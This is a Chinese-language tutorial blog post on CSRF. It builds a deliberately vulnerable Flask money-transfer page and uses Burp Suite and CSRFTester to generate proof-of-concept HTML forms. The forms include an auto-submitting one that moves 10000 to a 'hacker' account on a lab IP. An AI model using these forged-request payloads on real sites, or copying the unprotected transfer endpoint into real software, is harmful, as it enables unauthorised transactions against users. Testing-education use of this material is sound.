首页 > 其他分享 >CSRF漏洞复现及测试工具讲解

CSRF漏洞复现及测试工具讲解

时间:2024-06-13 14:21:38浏览次数:26  
标签:转账 __ 表单 漏洞 html 复现 CSRF 测试工具

一、Python编写一个存在CSRF漏洞

① 编写html网页

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>转账</title>
</head>
<body>
    <h1>转账</h1>
    <form action="/transfer" method="post">
        <label for="amount">金额:</label>
        <input type="text" name="amount" required>
        <br>
        <label for="recipient">接收者:</label>
        <input type="text" name="recipient" required>
        <br>
        <input type="submit" value="提交">
    </form>
</body>
</html>

② 编写网页请求接口代码

from flask import Flask, request, render_template


app = Flask(__name__, template_folder='template')
@app.route('/')
def index():
    return render_template('transfer.html')


@app.route('/transfer', methods=['GET', 'POST'])
def transfer():
    if request.method == 'POST':
        amount = request.form['amount']
        recipient = request.form['recipient']
        # 执行转账操作,将指定金额从当前用户转移到指定的接收者账户
        return f"成功转账 {amount} 给 {recipient}"
    return render_template(r'transfer.html')


if __name__ == '__main__':
    app.run(host='10.162.95.61')

③ 运行代码

④ 测试网页功能是否正常

输入转账进入,接收转账人员,点击

这个示例代码存在一个CSRF漏洞。攻击者可以通过构造恶意的HTML表单或JavaScript代码,诱导用户点击链接或提交表单,从而在用户不知情的情况下执行转账操作。由于没有适当的CSRF防护措施,攻击者可以利用这个漏洞进行非法的转账操作

 

二、BurpSuite抓取/拦截转账请求

我们的目标是测试这个转账功能是否存在CSRF漏洞。

(1)运行上面例子的Python代码并访问主页

(2)输入转账金额和接收人点击提交,BurpSuite会抓取或拦截转账请求。

 抓包找到该接口-右键-相关工具-生成对应POC

 复制html本地保存生成的POC文件,文件格式XXX.html

生成的恶意HTML页面如下所示:

 

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://10.162.95.61:5000/transfer" method="POST">
      <input type="hidden" name="amount" value="10000" />
      <input type="hidden" name="recipient" value="test" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

将接收转账的账号修改成自己的账号,如hacker

  访问这个恶意的网页点击恶意网页中的“Submit request”按钮

 如果受害者点击了页面上的“Submit request”按钮,浏览器会发送转账请求到目标网站修改密码页面,导致向"hacker"账号转账了10000元,这表明存在CSRF漏洞。

三、CSRFTester自动化探测工具

CSRFTester 工具的测试原理大概是这样的, 使用代理抓取我们在浏览器中访问过的所有的连接以及 所有的表单等信息,通过在 CSRFTester 中修改相应的表单等信息,重新提交 ,相当于一次伪造客户端请 求,如果修改过的测试请求,成功被网站服务器接受,则说明存在 CSRF 漏洞,当然此款工具也可以被用 来进行 CSRF 攻击。
步骤如下
(1)、设置浏览器代理:127.0.0.1:8008
( 2)、登录 Web 应用程序,提交表单,在 CSRF 工具中修改表单内容,查看是否更改,如果更改表 单存在 CSRF 漏洞。
( 3)、生产 POC 代码。

1、启动 CSRFTester 需要安装 JDK8 开始录制   

 备注:工具默认代理127.0.0.1:8008,浏览器代理插件设置对应的端口即可

修改表单内容

生成 html 文件

 表单内容仅保留方框中我们提交的信息,其他内容一律删除,然后保存退出

<form method="POST" name="form2" action="http://10.162.95.61:5000/transfer">
<input type="hidden" name="amount" value="10000"/>
<input type="hidden" name="recipient" value="hacker1111"/>
</form>  

运行生成的html文件

 

 

 

  

  

  

  

 

标签:转账,__,表单,漏洞,html,复现,CSRF,测试工具
From: https://www.cnblogs.com/xfbk/p/18140125

相关文章

  • 超好用mqtt服务器端server和客户端client协议通信学习测试工具
    超好用mqtt服务器端server和客户端client协议通信学习测试工具 作为物联网数据采集解决方案专业提供商,数采物联网小编daq-iot在这里做以下内容介绍,并诚挚的欢迎大家讨论和交流   软件使用注意事项:本软使用需要用户了解mqtt通信参数设置好后,要先启动软件左下角的服......
  • 渗透测试工具NMAP
    nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。Nmap包含三项基本功能:(1)是扫描主机端口,嗅探所提供的网络服......
  • 性能测试工具-JMeter
    官网:https://jmeter.apache.org/安装JMeter1.安装JDK下载地址:https://www.oracle.com/java/technologies/downloads/#jdk22-windows执行java--version查看版本2.安装JMeter下载地址:https://dlcdn.apache.org//jmeter/binaries/apache-jmeter-5.6.3.zip下载到本地......
  • httpclient,轻量级idea集成测试工具
    优点:不用新开一个网页,具有测试数据保存功能,不需要配置即用(对比swagger)   不会特别占内存(对比postman) 使用方法:idea中安装插件controller方法中点击 选择对应action 即可自动生成测试,点击左侧三角即可测试。但是数据内容需要自己填写如下:###分页查询POST{......
  • 关于CSRF
    CrossSiteRequestForgery跨站请求伪造当用户访问恶意网站时,恶意网站可以通过链接跳转的方式,引导用户访问被攻击网站,因为用户可能最近刚刚访问过被攻击网站,浏览器携带其缓存的合法cookie让用户访问,cookie中保存了客户的认证信息,用户从而不需要重新认证。此过程实际上是恶意......
  • 论文复现---BeatGAN
    论文复现---BeatGAN原创 小王搬运工 时序课堂 2024-06-1110:02 四川BeatGAN:AnomalousRhythmDetectionusingAdversariallyGeneratedTime SeriesBeatGAN:使用对抗生成时间序列的异常心律检测https://github.com/Vniex/BeatGANPyTorch(1.0.0)scikit......
  • CISCN2024 初赛 wp 部分复现(Re)
    Misc1.火锅链观光打卡答题即可Re1.asm_re感谢智谱清言,可以读出大致加密算法这是输入这是加密部分这里判断找到疑似密文的部分,手动改一下端序#asm_wpdefdec(char):return(((char-0x1E)^0x4D)-0x14)//0x50#return(ord(char)*0x50+0......
  • 【EI复现】考虑灵活性的数据中心微网两阶段鲁棒规划方法(Matlab代码实现)
     ......
  • csrf与xss差别 别在弄乱了 直接靶场实操pikachu的csrf题
    我们现在来说说这2个之间的关系,因为昨天的我也没有弄清楚这2者的关系,总感觉迷迷糊糊的。xss这个漏洞是大家并不怎么陌生,导致xss漏洞的产生是服务器没有对用户提交数据过滤不严格,导致浏览器把用户输入的当作js代码返回客户端进行执行,这样就导致了攻击。xss(跨站脚本攻击)可以......
  • PHP-CGI Windows平台远程代码执行漏洞复现(CVE-2024-4577)
    0x01产品简介PHP-CGI 是一种用于在 Web 服务器上运行 PHP 脚本的接口,通过 CGI(公共网关接口)将 PHP 解释器与 Web 服务器连接。0x02漏洞概述2024年6月,PHP官方发布新版本,修复了 PHP-CGI 中一个远程代码执行漏洞。鉴于该漏洞无前置条件,易于利用,且默认情况下可获取......